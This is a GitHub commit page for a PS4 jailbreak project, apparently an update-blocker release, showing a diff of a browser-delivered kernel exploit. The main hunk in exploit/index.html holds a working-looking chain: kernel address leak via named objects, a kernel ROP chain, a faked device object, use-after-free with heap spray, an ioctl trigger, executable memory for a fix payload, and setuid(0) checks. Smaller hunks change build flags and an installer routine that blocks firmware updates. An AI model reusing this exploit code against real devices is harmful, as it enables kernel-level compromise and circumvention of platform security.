Skip to content

Commit 83b1348

Browse files
xvortexxvortex
committed
Update blocker v2
1 parent a15b09a commit 83b1348

File tree

8 files changed

+381
-242
lines changed

8 files changed

+381
-242
lines changed

‎exploit/index.html

+21-21
Original file line numberDiff line numberDiff line change
@@ -396,17 +396,17 @@
396396

397397
if(kexploitCheck == 0)
398398
{
399-
//print("Status: Kernel Patched!");
399+
print("Status: Kernel Patched!");
400400
}
401401

402402
if(kexploitCheck != 0)
403403
{
404-
//print("Status: Kernel Not Patched...");
404+
print("Status: Kernel Not Patched...");
405405
print("=== Starting Kernel Exploit Chain ===");
406406

407407
//////////////// SETUP ////////////////
408408

409-
//print("Allocating Buffers...");
409+
print("Allocating Buffers...");
410410

411411
// Setup buffers for important pre-exploit stuff
412412
var kernelBase = malloc(0x08);
@@ -437,7 +437,7 @@
437437

438438
//////////////// LEAK ////////////////
439439

440-
//print("Calculating ASLR and Object Base...");
440+
print("Calculating ASLR and Object Base...");
441441

442442
p.write8(namedObj, p.syscall('sys_namedobj_create', stringify("debug"), 0xDEAD, 0x5000));
443443

@@ -462,14 +462,14 @@
462462
return false;
463463
}
464464

465-
//print("Kernel base: 0x" + kernelBase);
466-
//print("Object leak: 0x" + objBase);
465+
print("Kernel base: 0x" + kernelBase);
466+
print("Object leak: 0x" + objBase);
467467

468468
p.write8(serviceBuff.add32(0x4), objBase);
469469
p.writeString(serviceBuff.add32(0x28), "debug");
470470

471471
//////////////// BUILD KROP CHAIN ////////////////
472-
//print("Building Kernel ROP Chain...");
472+
print("Building Kernel ROP Chain...");
473473

474474
var kchainstack = malloc(0x200);
475475
var kchain = new krop(p, kchainstack);
@@ -524,10 +524,10 @@
524524
kchain.push(window.gadgets["pop rsp"]);
525525
kchain.push(window.gadgets["push rax; jmp rcx"]);
526526

527-
//print("KROP chain size: " + kchain.count);
527+
print("KROP chain size: " + kchain.count);
528528

529529
//////////////// FAKE THE OBJECT ////////////////
530-
//print("Creating Fake Object...");
530+
print("Creating Fake Object...");
531531

532532
//////// FAKE CDEV_PRIV ////////
533533
p.write8(obj_cdev_priv.add32(0x008), 0x0000000000000004);
@@ -549,14 +549,14 @@
549549
p.write8(obj_cdevsw.add32(0x38), libcBase.add32(0xa826f)); // d_ioctl - TARGET FUNCTION POINTER
550550

551551
//////////////// FREE THE OBJECT ////////////////
552-
//print("Freeing the object!");
552+
print("Freeing the object!");
553553

554554
var stage3 = new saferop(p, undefined);
555555

556556
stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_mdbg_service']]), 1, serviceBuff, 0);
557557
stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_namedobj_delete']]), p.read8(namedObj), 0x5000);
558558

559-
//print("Spraying the heap!");
559+
print("Spraying the heap!");
560560

561561
for(var i = 0; i < 500; i++)
562562
{
@@ -566,12 +566,12 @@
566566
stage3.run();
567567

568568
//////////////// TRIGGER ////////////////
569-
//print("Triggering kernel code execution");
569+
print("Triggering kernel code execution");
570570

571571
p.syscall('sys_ioctl', p.read8(targetDevFd), 0x81200000, obj_cdev_priv);
572572

573573
//////////////// FIX ////////////////
574-
//print("Allocating executable memory for fix payload...");
574+
print("Allocating executable memory for fix payload...");
575575

576576
var baseAddressExecute = new int64(0xDEAD0000, 0);
577577
var exploitExecuteAddress = p.syscall("sys_mmap", baseAddressExecute, 0x10000, 7, 0x1000, -1, 0);
@@ -587,7 +587,7 @@
587587
p.write4(shellcode.add32(i * 4), fix[i]);
588588
}
589589

590-
//print("Running fix payload...");
590+
print("Running fix payload...");
591591

592592
var stage6 = new saferop(p, undefined);
593593

@@ -603,8 +603,8 @@
603603
// Display results
604604
print("=== Verifying kexploit patches ===");
605605

606-
//print("setuid(0): " + p.syscall('sys_setuid', 0));
607-
//print("getuid(): " + p.syscall('sys_getuid'));
606+
print("setuid(0): " + p.syscall('sys_setuid', 0));
607+
print("getuid(): " + p.syscall('sys_getuid'));
608608

609609
// Create payload memory
610610
print("=== Launching Payload ===");
@@ -636,20 +636,20 @@
636636
for (;;)
637637
{
638638
var result = p.call(libkernel.add32(0x11570), thread_id_ptr, 0, code_addr, 0, thread_name);
639-
//print("scePthreadCreate: 0x" + result);
639+
print("scePthreadCreate: 0x" + result);
640640
if (result == 0)
641641
{
642642
var thread_id = p.read8(thread_id_ptr);
643-
//print("thread: 0x" + thread_id);
643+
print("thread: 0x" + thread_id);
644644
var result = p.call(libkernel.add32(0x11610), thread_id, exit_code_ptr);
645645

646-
//print("scePthreadJoin: 0x" + result);
646+
print("scePthreadJoin: 0x" + result);
647647
if (result == 0)
648648
{
649649
var exit_code = p.read8(exit_code_ptr);
650-
//print("exit code: " + exit_code);
650+
print("exit code: " + exit_code);
651651
print("=== Done ===");
652-
alert(document.getElementById("console").innerHTML);
652+
alert("Done");
653653
break;
654654
}
655655
}

‎exploit/payload.js

+1-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎installer/Makefile

+1-1
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ ODIR := build
1010
SDIR := source
1111
IDIRS := -I$(LIBPS4)/include -I. -Iinclude
1212
LDIRS := -L$(LIBPS4) -L. -Llib
13-
CFLAGS := $(IDIRS) -Os -std=gnu11 -fno-builtin -nostartfiles -nostdlib -fno-strict-aliasing -Wall -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large
13+
CFLAGS := $(IDIRS) -O3 -std=gnu11 -fno-builtin -nostartfiles -nostdlib -fno-strict-aliasing -Wall -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large
1414
SFLAGS := -nostartfiles -nostdlib -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large
1515
LFLAGS := $(LDIRS) -Xlinker -T $(LIBPS4)/linker.x -Wl,--build-id=none -Ttext=$(TEXT) -Tdata=$(DATA)
1616
CFILES := $(wildcard $(SDIR)/*.c)

‎installer/include/defines.h

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#ifndef __DEFINES
22
#define __DEFINES
33

4-
#define VERSION "1.1"
4+
#define VERSION "1.2"
55

66
//#define DEBUG_SOCKET
77

‎installer/source/main.c

+6-3
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
#define kernel_printf(format, ...) (void)0
88

99
#define PS4_UPDATE_FULL_PATH "/update/PS4UPDATE.PUP"
10+
#define PS4_UPDATE_TEMP_PATH "/update/PS4UPDATE.PUP.net.temp"
1011

1112
const uint8_t payload_data_const[] =
1213
{
@@ -284,16 +285,18 @@ int kernel_payload(struct thread *td, struct kernel_payload_args* args)
284285

285286
static inline void patch_update(void)
286287
{
287-
DIR* directory = opendir(PS4_UPDATE_FULL_PATH);
288+
unlink(PS4_UPDATE_FULL_PATH);
289+
290+
DIR* directory = opendir(PS4_UPDATE_TEMP_PATH);
288291

289292
if(directory != NULL)
290293
{
291294
closedir(directory);
292295
return;
293296
}
294297

295-
unlink(PS4_UPDATE_FULL_PATH);
296-
mkdir(PS4_UPDATE_FULL_PATH, 0777);
298+
unlink(PS4_UPDATE_TEMP_PATH);
299+
mkdir(PS4_UPDATE_TEMP_PATH, 0777);
297300
}
298301

299302
int _main(struct thread *td) {

0 commit comments

Comments
 (0)